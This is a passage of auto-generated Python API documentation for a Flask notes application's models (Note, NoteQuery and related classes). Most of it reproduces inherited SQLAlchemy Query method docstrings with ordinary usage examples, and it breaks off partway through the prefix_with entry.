| | |
- flask_login.AnonymousUserMixin(builtins.object)
-
- AnonymousUser
- flask_login.UserMixin(builtins.object)
-
- User(flask_login.UserMixin, flask_sqlalchemy.Model)
- flask_sqlalchemy.BaseQuery(sqlalchemy.orm.query.Query)
-
- NoteQuery(flask_sqlalchemy.BaseQuery, sqlalchemy_searchable.SearchQueryMixin)
- flask_sqlalchemy.Model(flask_sqlalchemy.Model)
-
- Note
- Notebook
- Tag
- User(flask_login.UserMixin, flask_sqlalchemy.Model)
- sqlalchemy_searchable.SearchQueryMixin(builtins.object)
-
- NoteQuery(flask_sqlalchemy.BaseQuery, sqlalchemy_searchable.SearchQueryMixin)
class Note(flask_sqlalchemy.Model) |
| |
Baseclass for custom user models. |
| |
- Method resolution order:
- Note
- flask_sqlalchemy.Model
- flask_sqlalchemy.Model
- builtins.object
Methods defined here:
- __init__(self, **kwargs)
- A simple constructor that allows initialization from kwargs.
Sets attributes on the constructed instance using the names and
values in ``kwargs``.
Only keys that are present as
attributes of the instance's class are allowed. These could be,
for example, any mapped columns or relationships.
- get_notebook(self, id)
- to_json(self)
Static methods defined here:
- from_json(json_post)
Data descriptors defined here:
- author_id
- body
- body_html
- created_date
- id
- is_archived
- is_deleted
- is_favorite
- notebook_id
- search_vector
- str_tags
- tags
- title
- updated_date
Data and other attributes defined here:
- __mapper__ = <Mapper at 0x106e4ecf8; Note>
- __table__ = Table('notes', MetaData(bind=None), Column('id',...or', TSVectorType(), table=<notes>), schema=None)
- __table_args__ = None
- __tablename__ = 'notes'
- query_class = <class 'app.models.NoteQuery'>
Methods inherited from flask_sqlalchemy.Model:
- query
Data and other attributes inherited from flask_sqlalchemy.Model:
- metadata = MetaData(bind=None)
Data descriptors inherited from flask_sqlalchemy.Model:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
|
class NoteQuery(flask_sqlalchemy.BaseQuery, sqlalchemy_searchable.SearchQueryMixin) |
| |
The default query object used for models, and exposed as
:attr:`~SQLAlchemy.Query`. This can be subclassed and
replaced for individual models by setting the :attr:`~Model.query_class`
attribute. This is a subclass of a standard SQLAlchemy
:class:`~sqlalchemy.orm.query.Query` class and has all the methods of a
standard query as well. |
| |
- Method resolution order:
- NoteQuery
- flask_sqlalchemy.BaseQuery
- sqlalchemy.orm.query.Query
- sqlalchemy_searchable.SearchQueryMixin
- builtins.object
Methods inherited from flask_sqlalchemy.BaseQuery:
- first_or_404(self)
- Like :meth:`first` but aborts with 404 if not found instead of
returning `None`.
- get_or_404(self, ident)
- Like :meth:`get` but aborts with 404 if not found instead of
returning `None`.
- paginate(self, page=None, per_page=None, error_out=True)
- Returns `per_page` items from page `page`. By default it will
abort with 404 if no items were found and the page was larger than
1. This behavor can be disabled by setting `error_out` to `False`.
If page or per_page are None, they will be retrieved from the
request query. If the values are not ints and ``error_out`` is
true, it will abort with 404. If there is no request or they
aren't in the query, they default to page 1 and 20
respectively.
Returns an :class:`Pagination` object.
Methods inherited from sqlalchemy.orm.query.Query:
- __clause_element__(self)
- __getitem__(self, item)
- __init__(self, entities, session=None)
- Initialize self. See help(type(self)) for accurate signature.
- __iter__(self)
- __str__(self)
- Return str(self).
- add_column(self, column)
- Add a column expression to the list of result columns to be
returned.
Pending deprecation: :meth:`.add_column` will be superseded by
:meth:`.add_columns`.
- add_columns(self, *column)
- Add one or more column expressions to the list
of result columns to be returned.
- add_entity(self, entity, alias=None)
- add a mapped entity to the list of result columns
to be returned.
- all(self)
- Return the results represented by this ``Query`` as a list.
This results in an execution of the underlying query.
- as_scalar(self)
- Return the full SELECT statement represented by this
:class:`.Query`, converted to a scalar subquery.
Analogous to :meth:`sqlalchemy.sql.expression.SelectBase.as_scalar`.
.. versionadded:: 0.6.5
- autoflush(self, setting)
- Return a Query with a specific 'autoflush' setting.
Note that a Session with autoflush=False will
not autoflush, even if this flag is set to True at the
Query level. Therefore this flag is usually used only
to disable autoflush for a specific Query.
- correlate(self, *args)
- Return a :class:`.Query` construct which will correlate the given
FROM clauses to that of an enclosing :class:`.Query` or
:func:`~.expression.select`.
The method here accepts mapped classes, :func:`.aliased` constructs,
and :func:`.mapper` constructs as arguments, which are resolved into
expression constructs, in addition to appropriate expression
constructs.
The correlation arguments are ultimately passed to
:meth:`.Select.correlate` after coercion to expression constructs.
The correlation arguments take effect in such cases
as when :meth:`.Query.from_self` is used, or when
a subquery as returned by :meth:`.Query.subquery` is
embedded in another :func:`~.expression.select` construct.
- count(self)
- Return a count of rows this Query would return.
This generates the SQL for this Query as follows::
SELECT count(1) AS count_1 FROM (
SELECT <rest of query follows...>
) AS anon_1
.. versionchanged:: 0.7
The above scheme is newly refined as of 0.7b3.
For fine grained control over specific columns
to count, to skip the usage of a subquery or
otherwise control of the FROM clause,
or to use other aggregate functions,
use :attr:`~sqlalchemy.sql.expression.func`
expressions in conjunction
with :meth:`~.Session.query`, i.e.::
from sqlalchemy import func
# count User records, without
# using a subquery.
session.query(func.count(User.id))
# return count of user "id" grouped
# by "name"
session.query(func.count(User.id)).\
group_by(User.name)
from sqlalchemy import distinct
# count distinct "name" values
session.query(func.count(distinct(User.name)))
- cte(self, name=None, recursive=False)
- Return the full SELECT statement represented by this
:class:`.Query` represented as a common table expression (CTE).
.. versionadded:: 0.7.6
Parameters and usage are the same as those of the
:meth:`.SelectBase.cte` method; see that method for
further details.
Here is the `Postgresql WITH
RECURSIVE example
<http://www.postgresql.org/docs/8.4/static/queries-with.html>`_.
Note that, in this example, the ``included_parts`` cte and the
``incl_alias`` alias of it are Core selectables, which
means the columns are accessed via the ``.c.`` attribute. The
``parts_alias`` object is an :func:`.orm.aliased` instance of the
``Part`` entity, so column-mapped attributes are available
directly::
from sqlalchemy.orm import aliased
class Part(Base):
__tablename__ = 'part'
part = Column(String, primary_key=True)
sub_part = Column(String, primary_key=True)
quantity = Column(Integer)
included_parts = session.query(
Part.sub_part,
Part.part,
Part.quantity).\
filter(Part.part=="our part").\
cte(name="included_parts", recursive=True)
incl_alias = aliased(included_parts, name="pr")
parts_alias = aliased(Part, name="p")
included_parts = included_parts.union_all(
session.query(
parts_alias.sub_part,
parts_alias.part,
parts_alias.quantity).\
filter(parts_alias.part==incl_alias.c.sub_part)
)
q = session.query(
included_parts.c.sub_part,
func.sum(included_parts.c.quantity).
label('total_quantity')
).\
group_by(included_parts.c.sub_part)
.. seealso::
:meth:`.SelectBase.cte`
- delete(self, synchronize_session='evaluate')
- Perform a bulk delete query.
Deletes rows matched by this query from the database.
E.g.::
sess.query(User).filter(User.age == 25).\
delete(synchronize_session=False)
sess.query(User).filter(User.age == 25).\
delete(synchronize_session='evaluate')
.. warning:: The :meth:`.Query.delete` method is a "bulk" operation,
which bypasses ORM unit-of-work automation in favor of greater
performance. **Please read all caveats and warnings below.**
:param synchronize_session: chooses the strategy for the removal of
matched objects from the session. Valid values are:
``False`` - don't synchronize the session. This option is the most
efficient and is reliable once the session is expired, which
typically occurs after a commit(), or explicitly using
expire_all(). Before the expiration, objects may still remain in
the session which were in fact deleted which can lead to confusing
results if they are accessed via get() or already loaded
collections.
``'fetch'`` - performs a select query before the delete to find
objects that are matched by the delete query and need to be
removed from the session. Matched objects are removed from the
session.
``'evaluate'`` - Evaluate the query's criteria in Python straight
on the objects in the session. If evaluation of the criteria isn't
implemented, an error is raised.
The expression evaluator currently doesn't account for differing
string collations between the database and Python.
:return: the count of rows matched as returned by the database's
"row count" feature.
.. warning:: **Additional Caveats for bulk query deletes**
* The method does **not** offer in-Python cascading of
relationships - it is assumed that ON DELETE CASCADE/SET
NULL/etc. is configured for any foreign key references
which require it, otherwise the database may emit an
integrity violation if foreign key references are being
enforced.
After the DELETE, dependent objects in the
:class:`.Session` which were impacted by an ON DELETE
may not contain the current state, or may have been
deleted. This issue is resolved once the
:class:`.Session` is expired, which normally occurs upon
:meth:`.Session.commit` or can be forced by using
:meth:`.Session.expire_all`. Accessing an expired
object whose row has been deleted will invoke a SELECT
to locate the row; when the row is not found, an
:class:`~sqlalchemy.orm.exc.ObjectDeletedError` is
raised.
* The ``'fetch'`` strategy results in an additional
SELECT statement emitted and will significantly reduce
performance.
* The ``'evaluate'`` strategy performs a scan of
all matching objects within the :class:`.Session`; if the
contents of the :class:`.Session` are expired, such as
via a proceeding :meth:`.Session.commit` call, **this will
result in SELECT queries emitted for every matching object**.
* The :meth:`.MapperEvents.before_delete` and
:meth:`.MapperEvents.after_delete`
events **are not invoked** from this method. Instead, the
:meth:`.SessionEvents.after_bulk_delete` method is provided to
act upon a mass DELETE of entity rows.
.. seealso::
:meth:`.Query.update`
:ref:`inserts_and_updates` - Core SQL tutorial
- distinct(self, *criterion)
- Apply a ``DISTINCT`` to the query and return the newly resulting
``Query``.
.. note::
The :meth:`.distinct` call includes logic that will automatically
add columns from the ORDER BY of the query to the columns
clause of the SELECT statement, to satisfy the common need
of the database backend that ORDER BY columns be part of the
SELECT list when DISTINCT is used. These columns *are not*
added to the list of columns actually fetched by the
:class:`.Query`, however, so would not affect results.
The columns are passed through when using the
:attr:`.Query.statement` accessor, however.
:param \*expr: optional column expressions. When present,
the Postgresql dialect will render a ``DISTINCT ON (<expressions>>)``
construct.
- enable_assertions(self, value)
- Control whether assertions are generated.
When set to False, the returned Query will
not assert its state before certain operations,
including that LIMIT/OFFSET has not been applied
when filter() is called, no criterion exists
when get() is called, and no "from_statement()"
exists when filter()/order_by()/group_by() etc.
is called. This more permissive mode is used by
custom Query subclasses to specify criterion or
other modifiers outside of the usual usage patterns.
Care should be taken to ensure that the usage
pattern is even possible. A statement applied
by from_statement() will override any criterion
set by filter() or order_by(), for example.
- enable_eagerloads(self, value)
- Control whether or not eager joins and subqueries are
rendered.
When set to False, the returned Query will not render
eager joins regardless of :func:`~sqlalchemy.orm.joinedload`,
:func:`~sqlalchemy.orm.subqueryload` options
or mapper-level ``lazy='joined'``/``lazy='subquery'``
configurations.
This is used primarily when nesting the Query's
statement into a subquery or other
selectable, or when using :meth:`.Query.yield_per`.
- except_(self, *q)
- Produce an EXCEPT of this Query against one or more queries.
Works the same way as :meth:`~sqlalchemy.orm.query.Query.union`. See
that method for usage examples.
- except_all(self, *q)
- Produce an EXCEPT ALL of this Query against one or more queries.
Works the same way as :meth:`~sqlalchemy.orm.query.Query.union`. See
that method for usage examples.
- execution_options(self, **kwargs)
- Set non-SQL options which take effect during execution.
The options are the same as those accepted by
:meth:`.Connection.execution_options`.
Note that the ``stream_results`` execution option is enabled
automatically if the :meth:`~sqlalchemy.orm.query.Query.yield_per()`
method is used.
- exists(self)
- A convenience method that turns a query into an EXISTS subquery
of the form EXISTS (SELECT 1 FROM ... WHERE ...).
e.g.::
q = session.query(User).filter(User.name == 'fred')
session.query(q.exists())
Producing SQL similar to::
SELECT EXISTS (
SELECT 1 FROM users WHERE users.name = :name_1
) AS anon_1
The EXISTS construct is usually used in the WHERE clause::
session.query(User.id).filter(q.exists()).scalar()
Note that some databases such as SQL Server don't allow an
EXISTS expression to be present in the columns clause of a
SELECT. To select a simple boolean value based on the exists
as a WHERE, use :func:`.literal`::
from sqlalchemy import literal
session.query(literal(True)).filter(q.exists()).scalar()
.. versionadded:: 0.8.1
- filter(self, *criterion)
- apply the given filtering criterion to a copy
of this :class:`.Query`, using SQL expressions.
e.g.::
session.query(MyClass).filter(MyClass.name == 'some name')
Multiple criteria may be specified as comma separated; the effect
is that they will be joined together using the :func:`.and_`
function::
session.query(MyClass).\
filter(MyClass.name == 'some name', MyClass.id > 5)
The criterion is any SQL expression object applicable to the
WHERE clause of a select. String expressions are coerced
into SQL expression constructs via the :func:`.text` construct.
.. seealso::
:meth:`.Query.filter_by` - filter on keyword expressions.
- filter_by(self, **kwargs)
- apply the given filtering criterion to a copy
of this :class:`.Query`, using keyword expressions.
e.g.::
session.query(MyClass).filter_by(name = 'some name')
Multiple criteria may be specified as comma separated; the effect
is that they will be joined together using the :func:`.and_`
function::
session.query(MyClass).\
filter_by(name = 'some name', id = 5)
The keyword expressions are extracted from the primary
entity of the query, or the last entity that was the
target of a call to :meth:`.Query.join`.
.. seealso::
:meth:`.Query.filter` - filter on SQL expressions.
- first(self)
- Return the first result of this ``Query`` or
None if the result doesn't contain any row.
first() applies a limit of one within the generated SQL, so that
only one primary entity row is generated on the server side
(note this may consist of multiple result rows if join-loaded
collections are present).
Calling :meth:`.Query.first` results in an execution of the underlying query.
- from_self(self, *entities)
- return a Query that selects from this Query's
SELECT statement.
:meth:`.Query.from_self` essentially turns the SELECT statement
into a SELECT of itself. Given a query such as::
q = session.query(User).filter(User.name.like('e%'))
Given the :meth:`.Query.from_self` version::
q = session.query(User).filter(User.name.like('e%')).from_self()
This query renders as:
.. sourcecode:: sql
SELECT anon_1.user_id AS anon_1_user_id,
anon_1.user_name AS anon_1_user_name
FROM (SELECT "user".id AS user_id, "user".name AS user_name
FROM "user"
WHERE "user".name LIKE :name_1) AS anon_1
There are lots of cases where :meth:`.Query.from_self` may be useful.
A simple one is where above, we may want to apply a row LIMIT to
the set of user objects we query against, and then apply additional
joins against that row-limited set::
q = session.query(User).filter(User.name.like('e%')).\
limit(5).from_self().\
join(User.addresses).filter(Address.email.like('q%'))
The above query joins to the ``Address`` entity but only against the
first five results of the ``User`` query:
.. sourcecode:: sql
SELECT anon_1.user_id AS anon_1_user_id,
anon_1.user_name AS anon_1_user_name
FROM (SELECT "user".id AS user_id, "user".name AS user_name
FROM "user"
WHERE "user".name LIKE :name_1
LIMIT :param_1) AS anon_1
JOIN address ON anon_1.user_id = address.user_id
WHERE address.email LIKE :email_1
**Automatic Aliasing**
Another key behavior of :meth:`.Query.from_self` is that it applies
**automatic aliasing** to the entities inside the subquery, when
they are referenced on the outside. Above, if we continue to
refer to the ``User`` entity without any additional aliasing applied
to it, those references wil be in terms of the subquery::
q = session.query(User).filter(User.name.like('e%')).\
limit(5).from_self().\
join(User.addresses).filter(Address.email.like('q%')).\
order_by(User.name)
The ORDER BY against ``User.name`` is aliased to be in terms of the
inner subquery:
.. sourcecode:: sql
SELECT anon_1.user_id AS anon_1_user_id,
anon_1.user_name AS anon_1_user_name
FROM (SELECT "user".id AS user_id, "user".name AS user_name
FROM "user"
WHERE "user".name LIKE :name_1
LIMIT :param_1) AS anon_1
JOIN address ON anon_1.user_id = address.user_id
WHERE address.email LIKE :email_1 ORDER BY anon_1.user_name
The automatic aliasing feature only works in a **limited** way,
for simple filters and orderings. More ambitious constructions
such as referring to the entity in joins should prefer to use
explicit subquery objects, typically making use of the
:meth:`.Query.subquery` method to produce an explicit subquery object.
Always test the structure of queries by viewing the SQL to ensure
a particular structure does what's expected!
**Changing the Entities**
:meth:`.Query.from_self` also includes the ability to modify what
columns are being queried. In our example, we want ``User.id``
to be queried by the inner query, so that we can join to the
``Address`` entity on the outside, but we only wanted the outer
query to return the ``Address.email`` column::
q = session.query(User).filter(User.name.like('e%')).\
limit(5).from_self(Address.email).\
join(User.addresses).filter(Address.email.like('q%'))
yielding:
.. sourcecode:: sql
SELECT address.email AS address_email
FROM (SELECT "user".id AS user_id, "user".name AS user_name
FROM "user"
WHERE "user".name LIKE :name_1
LIMIT :param_1) AS anon_1
JOIN address ON anon_1.user_id = address.user_id
WHERE address.email LIKE :email_1
**Looking out for Inner / Outer Columns**
Keep in mind that when referring to columns that originate from
inside the subquery, we need to ensure they are present in the
columns clause of the subquery itself; this is an ordinary aspect of
SQL. For example, if we wanted to load from a joined entity inside
the subquery using :func:`.contains_eager`, we need to add those
columns. Below illustrates a join of ``Address`` to ``User``,
then a subquery, and then we'd like :func:`.contains_eager` to access
the ``User`` columns::
q = session.query(Address).join(Address.user).\
filter(User.name.like('e%'))
q = q.add_entity(User).from_self().\
options(contains_eager(Address.user))
We use :meth:`.Query.add_entity` above **before** we call
:meth:`.Query.from_self` so that the ``User`` columns are present
in the inner subquery, so that they are available to the
:func:`.contains_eager` modifier we are using on the outside,
producing:
.. sourcecode:: sql
SELECT anon_1.address_id AS anon_1_address_id,
anon_1.address_email AS anon_1_address_email,
anon_1.address_user_id AS anon_1_address_user_id,
anon_1.user_id AS anon_1_user_id,
anon_1.user_name AS anon_1_user_name
FROM (
SELECT address.id AS address_id,
address.email AS address_email,
address.user_id AS address_user_id,
"user".id AS user_id,
"user".name AS user_name
FROM address JOIN "user" ON "user".id = address.user_id
WHERE "user".name LIKE :name_1) AS anon_1
If we didn't call ``add_entity(User)``, but still asked
:func:`.contains_eager` to load the ``User`` entity, it would be
forced to add the table on the outside without the correct
join criteria - note the ``anon1, "user"`` phrase at
the end:
.. sourcecode:: sql
-- incorrect query
SELECT anon_1.address_id AS anon_1_address_id,
anon_1.address_email AS anon_1_address_email,
anon_1.address_user_id AS anon_1_address_user_id,
"user".id AS user_id,
"user".name AS user_name
FROM (
SELECT address.id AS address_id,
address.email AS address_email,
address.user_id AS address_user_id
FROM address JOIN "user" ON "user".id = address.user_id
WHERE "user".name LIKE :name_1) AS anon_1, "user"
:param \*entities: optional list of entities which will replace
those being selected.
- from_statement(self, statement)
- Execute the given SELECT statement and return results.
This method bypasses all internal statement compilation, and the
statement is executed without modification.
The statement is typically either a :func:`~.expression.text`
or :func:`~.expression.select` construct, and should return the set
of columns
appropriate to the entity class represented by this :class:`.Query`.
.. seealso::
:ref:`orm_tutorial_literal_sql` - usage examples in the
ORM tutorial
- get(self, ident)
- Return an instance based on the given primary key identifier,
or ``None`` if not found.
E.g.::
my_user = session.query(User).get(5)
some_object = session.query(VersionedFoo).get((5, 10))
:meth:`~.Query.get` is special in that it provides direct
access to the identity map of the owning :class:`.Session`.
If the given primary key identifier is present
in the local identity map, the object is returned
directly from this collection and no SQL is emitted,
unless the object has been marked fully expired.
If not present,
a SELECT is performed in order to locate the object.
:meth:`~.Query.get` also will perform a check if
the object is present in the identity map and
marked as expired - a SELECT
is emitted to refresh the object as well as to
ensure that the row is still present.
If not, :class:`~sqlalchemy.orm.exc.ObjectDeletedError` is raised.
:meth:`~.Query.get` is only used to return a single
mapped instance, not multiple instances or
individual column constructs, and strictly
on a single primary key value. The originating
:class:`.Query` must be constructed in this way,
i.e. against a single mapped entity,
with no additional filtering criterion. Loading
options via :meth:`~.Query.options` may be applied
however, and will be used if the object is not
yet locally present.
A lazy-loading, many-to-one attribute configured
by :func:`.relationship`, using a simple
foreign-key-to-primary-key criterion, will also use an
operation equivalent to :meth:`~.Query.get` in order to retrieve
the target value from the local identity map
before querying the database. See :doc:`/orm/loading_relationships`
for further details on relationship loading.
:param ident: A scalar or tuple value representing
the primary key. For a composite primary key,
the order of identifiers corresponds in most cases
to that of the mapped :class:`.Table` object's
primary key columns. For a :func:`.mapper` that
was given the ``primary key`` argument during
construction, the order of identifiers corresponds
to the elements present in this collection.
:return: The object instance, or ``None``.
- group_by(self, *criterion)
- apply one or more GROUP BY criterion to the query and return
the newly resulting :class:`.Query`
- having(self, criterion)
- apply a HAVING criterion to the query and return the
newly resulting :class:`.Query`.
:meth:`~.Query.having` is used in conjunction with
:meth:`~.Query.group_by`.
HAVING criterion makes it possible to use filters on aggregate
functions like COUNT, SUM, AVG, MAX, and MIN, eg.::
q = session.query(User.id).\
join(User.addresses).\
group_by(User.id).\
having(func.count(Address.id) > 2)
- instances(self, cursor, _Query__context=None)
- Given a ResultProxy cursor as returned by connection.execute(),
return an ORM result as an iterator.
e.g.::
result = engine.execute("select * from users")
for u in session.query(User).instances(result):
print u
- intersect(self, *q)
- Produce an INTERSECT of this Query against one or more queries.
Works the same way as :meth:`~sqlalchemy.orm.query.Query.union`. See
that method for usage examples.
- intersect_all(self, *q)
- Produce an INTERSECT ALL of this Query against one or more queries.
Works the same way as :meth:`~sqlalchemy.orm.query.Query.union`. See
that method for usage examples.
- join(self, *props, **kwargs)
- Create a SQL JOIN against this :class:`.Query` object's criterion
and apply generatively, returning the newly resulting :class:`.Query`.
**Simple Relationship Joins**
Consider a mapping between two classes ``User`` and ``Address``,
with a relationship ``User.addresses`` representing a collection
of ``Address`` objects associated with each ``User``. The most
common usage of :meth:`~.Query.join` is to create a JOIN along this
relationship, using the ``User.addresses`` attribute as an indicator
for how this should occur::
q = session.query(User).join(User.addresses)
Where above, the call to :meth:`~.Query.join` along ``User.addresses``
will result in SQL equivalent to::
SELECT user.* FROM user JOIN address ON user.id = address.user_id
In the above example we refer to ``User.addresses`` as passed to
:meth:`~.Query.join` as the *on clause*, that is, it indicates
how the "ON" portion of the JOIN should be constructed. For a
single-entity query such as the one above (i.e. we start by selecting
only from ``User`` and nothing else), the relationship can also be
specified by its string name::
q = session.query(User).join("addresses")
:meth:`~.Query.join` can also accommodate multiple
"on clause" arguments to produce a chain of joins, such as below
where a join across four related entities is constructed::
q = session.query(User).join("orders", "items", "keywords")
The above would be shorthand for three separate calls to
:meth:`~.Query.join`, each using an explicit attribute to indicate
the source entity::
q = session.query(User).\
join(User.orders).\
join(Order.items).\
join(Item.keywords)
**Joins to a Target Entity or Selectable**
A second form of :meth:`~.Query.join` allows any mapped entity
or core selectable construct as a target. In this usage,
:meth:`~.Query.join` will attempt
to create a JOIN along the natural foreign key relationship between
two entities::
q = session.query(User).join(Address)
The above calling form of :meth:`~.Query.join` will raise an error if
either there are no foreign keys between the two entities, or if
there are multiple foreign key linkages between them. In the
above calling form, :meth:`~.Query.join` is called upon to
create the "on clause" automatically for us. The target can
be any mapped entity or selectable, such as a :class:`.Table`::
q = session.query(User).join(addresses_table)
**Joins to a Target with an ON Clause**
The third calling form allows both the target entity as well
as the ON clause to be passed explicitly. Suppose for
example we wanted to join to ``Address`` twice, using
an alias the second time. We use :func:`~sqlalchemy.orm.aliased`
to create a distinct alias of ``Address``, and join
to it using the ``target, onclause`` form, so that the
alias can be specified explicitly as the target along with
the relationship to instruct how the ON clause should proceed::
a_alias = aliased(Address)
q = session.query(User).\
join(User.addresses).\
join(a_alias, User.addresses).\
filter(Address.email_address=='ed@foo.com').\
<EMAIL_ADDRESS>Where above, the generated SQL would be similar to::
SELECT user.* FROM user
JOIN address ON user.id = address.user_id
JOIN address AS address_1 ON user.id=address_1.user_id
WHERE address.email_address = :email_address_1
AND address_1.email_address = :email_address_2
The two-argument calling form of :meth:`~.Query.join`
also allows us to construct arbitrary joins with SQL-oriented
"on clause" expressions, not relying upon configured relationships
at all. Any SQL expression can be passed as the ON clause
when using the two-argument form, which should refer to the target
entity in some way as well as an applicable source entity::
q = session.query(User).join(Address, User.id==Address.user_id)
.. versionchanged:: 0.7
In SQLAlchemy 0.6 and earlier, the two argument form of
:meth:`~.Query.join` requires the usage of a tuple:
``query(User).join((Address, User.id==Address.user_id))``\ .
This calling form is accepted in 0.7 and further, though
is not necessary unless multiple join conditions are passed to
a single :meth:`~.Query.join` call, which itself is also not
generally necessary as it is now equivalent to multiple
calls (this wasn't always the case).
**Advanced Join Targeting and Adaption**
There is a lot of flexibility in what the "target" can be when using
:meth:`~.Query.join`. As noted previously, it also accepts
:class:`.Table` constructs and other selectables such as
:func:`.alias` and :func:`.select` constructs, with either the one
or two-argument forms::
addresses_q = select([Address.user_id]).\
where(Address.email_address.endswith("@bar.com")).\
alias()
q = session.query(User).\
join(addresses_q, addresses_q.c.user_id==User.id)
:meth:`~.Query.join` also features the ability to *adapt* a
:meth:`~sqlalchemy.orm.relationship` -driven ON clause to the target
selectable. Below we construct a JOIN from ``User`` to a subquery
against ``Address``, allowing the relationship denoted by
``User.addresses`` to *adapt* itself to the altered target::
address_subq = session.query(Address).\
filter(Address.email_address == 'ed@foo.com').\
subquery()
q = session.query(User).join(address_subq, User.addresses)
Producing SQL similar to::
SELECT user.* FROM user
JOIN (
SELECT address.id AS id,
address.user_id AS user_id,
address.email_address AS email_address
FROM address
WHERE address.email_address = :email_address_1
) AS anon_1 ON user.id = anon_1.user_id
The above form allows one to fall back onto an explicit ON
clause at any time::
q = session.query(User).\
join(address_subq, User.id==address_subq.c.user_id)
**Controlling what to Join From**
While :meth:`~.Query.join` exclusively deals with the "right"
side of the JOIN, we can also control the "left" side, in those
cases where it's needed, using :meth:`~.Query.select_from`.
Below we construct a query against ``Address`` but can still
make usage of ``User.addresses`` as our ON clause by instructing
the :class:`.Query` to select first from the ``User``
entity::
q = session.query(Address).select_from(User).\
join(User.addresses).\
filter(User.name == 'ed')
Which will produce SQL similar to::
SELECT address.* FROM user
JOIN address ON user.id=address.user_id
WHERE user.name = :name_1
**Constructing Aliases Anonymously**
:meth:`~.Query.join` can construct anonymous aliases
using the ``aliased=True`` flag. This feature is useful
when a query is being joined algorithmically, such as
when querying self-referentially to an arbitrary depth::
q = session.query(Node).\
join("children", "children", aliased=True)
When ``aliased=True`` is used, the actual "alias" construct
is not explicitly available. To work with it, methods such as
:meth:`.Query.filter` will adapt the incoming entity to
the last join point::
q = session.query(Node).\
join("children", "children", aliased=True).\
filter(Node.name == 'grandchild 1')
When using automatic aliasing, the ``from_joinpoint=True``
argument can allow a multi-node join to be broken into
multiple calls to :meth:`~.Query.join`, so that
each path along the way can be further filtered::
q = session.query(Node).\
join("children", aliased=True).\
filter(Node.name='child 1').\
join("children", aliased=True, from_joinpoint=True).\
filter(Node.name == 'grandchild 1')
The filtering aliases above can then be reset back to the
original ``Node`` entity using :meth:`~.Query.reset_joinpoint`::
q = session.query(Node).\
join("children", "children", aliased=True).\
filter(Node.name == 'grandchild 1').\
reset_joinpoint().\
filter(Node.name == 'parent 1)
For an example of ``aliased=True``, see the distribution
example :ref:`examples_xmlpersistence` which illustrates
an XPath-like query system using algorithmic joins.
:param \*props: A collection of one or more join conditions,
each consisting of a relationship-bound attribute or string
relationship name representing an "on clause", or a single
target entity, or a tuple in the form of ``(target, onclause)``.
A special two-argument calling form of the form ``target, onclause``
is also accepted.
:param aliased=False: If True, indicate that the JOIN target should be
anonymously aliased. Subsequent calls to :meth:`~.Query.filter`
and similar will adapt the incoming criterion to the target
alias, until :meth:`~.Query.reset_joinpoint` is called.
:param isouter=False: If True, the join used will be a left outer join,
just as if the :meth:`.Query.outerjoin` method were called. This
flag is here to maintain consistency with the same flag as accepted
by :meth:`.FromClause.join` and other Core constructs.
.. versionadded:: 1.0.0
:param from_joinpoint=False: When using ``aliased=True``, a setting
of True here will cause the join to be from the most recent
joined target, rather than starting back from the original
FROM clauses of the query.
.. seealso::
:ref:`ormtutorial_joins` in the ORM tutorial.
:ref:`inheritance_toplevel` for details on how
:meth:`~.Query.join` is used for inheritance relationships.
:func:`.orm.join` - a standalone ORM-level join function,
used internally by :meth:`.Query.join`, which in previous
SQLAlchemy versions was the primary ORM-level joining interface.
- label(self, name)
- Return the full SELECT statement represented by this
:class:`.Query`, converted
to a scalar subquery with a label of the given name.
Analogous to :meth:`sqlalchemy.sql.expression.SelectBase.label`.
.. versionadded:: 0.6.5
- limit(self, limit)
- Apply a ``LIMIT`` to the query and return the newly resulting
``Query``.
- merge_result(self, iterator, load=True)
- Merge a result into this :class:`.Query` object's Session.
Given an iterator returned by a :class:`.Query` of the same structure
as this one, return an identical iterator of results, with all mapped
instances merged into the session using :meth:`.Session.merge`. This
is an optimized method which will merge all mapped instances,
preserving the structure of the result rows and unmapped columns with
less method overhead than that of calling :meth:`.Session.merge`
explicitly for each value.
The structure of the results is determined based on the column list of
this :class:`.Query` - if these do not correspond, unchecked errors
will occur.
The 'load' argument is the same as that of :meth:`.Session.merge`.
For an example of how :meth:`~.Query.merge_result` is used, see
the source code for the example :ref:`examples_caching`, where
:meth:`~.Query.merge_result` is used to efficiently restore state
from a cache back into a target :class:`.Session`.
- offset(self, offset)
- Apply an ``OFFSET`` to the query and return the newly resulting
``Query``.
- one(self)
- Return exactly one result or raise an exception.
Raises ``sqlalchemy.orm.exc.NoResultFound`` if the query selects
no rows. Raises ``sqlalchemy.orm.exc.MultipleResultsFound``
if multiple object identities are returned, or if multiple
rows are returned for a query that returns only scalar values
as opposed to full identity-mapped entities.
Calling :meth:`.one` results in an execution of the underlying query.
.. seealso::
:meth:`.Query.first`
:meth:`.Query.one_or_none`
- one_or_none(self)
- Return at most one result or raise an exception.
Returns ``None`` if the query selects
no rows. Raises ``sqlalchemy.orm.exc.MultipleResultsFound``
if multiple object identities are returned, or if multiple
rows are returned for a query that returns only scalar values
as opposed to full identity-mapped entities.
Calling :meth:`.Query.one_or_none` results in an execution of the underlying
query.
.. versionadded:: 1.0.9
Added :meth:`.Query.one_or_none`
.. seealso::
:meth:`.Query.first`
:meth:`.Query.one`
- options(self, *args)
- Return a new Query object, applying the given list of
mapper options.
Most supplied options regard changing how column- and
relationship-mapped attributes are loaded. See the sections
:ref:`deferred` and :doc:`/orm/loading_relationships` for reference
documentation.
- order_by(self, *criterion)
- apply one or more ORDER BY criterion to the query and return
the newly resulting ``Query``
All existing ORDER BY settings can be suppressed by
passing ``None`` - this will suppress any ORDER BY configured
on mappers as well.
Alternatively, an existing ORDER BY setting on the Query
object can be entirely cancelled by passing ``False``
as the value - use this before calling methods where
an ORDER BY is invalid.
- outerjoin(self, *props, **kwargs)
- Create a left outer join against this ``Query`` object's criterion
and apply generatively, returning the newly resulting ``Query``.
Usage is the same as the ``join()`` method.
- params(self, *args, **kwargs)
- add values for bind parameters which may have been
specified in filter().
parameters may be specified using \**kwargs, or optionally a single
dictionary as the first positional argument. The reason for both is
that \**kwargs is convenient, however some parameter dictionaries
contain unicode keys in which case \**kwargs cannot be used.
- populate_existing(self)
- Return a :class:`.Query` that will expire and refresh all instances
as they are loaded, or reused from the current :class:`.Session`.
:meth:`.populate_existing` does not improve behavior when
the ORM is used normally - the :class:`.Session` object's usual
behavior of maintaining a transaction and expiring all attributes
after rollback or commit handles object state automatically.
This method is not intended for general use.
- prefix_with(self, *prefixes)
- Apply the prefixes to the query and return the newly resulting
``Query``.
:param \*prefixes: optional prefixes, typically strings,
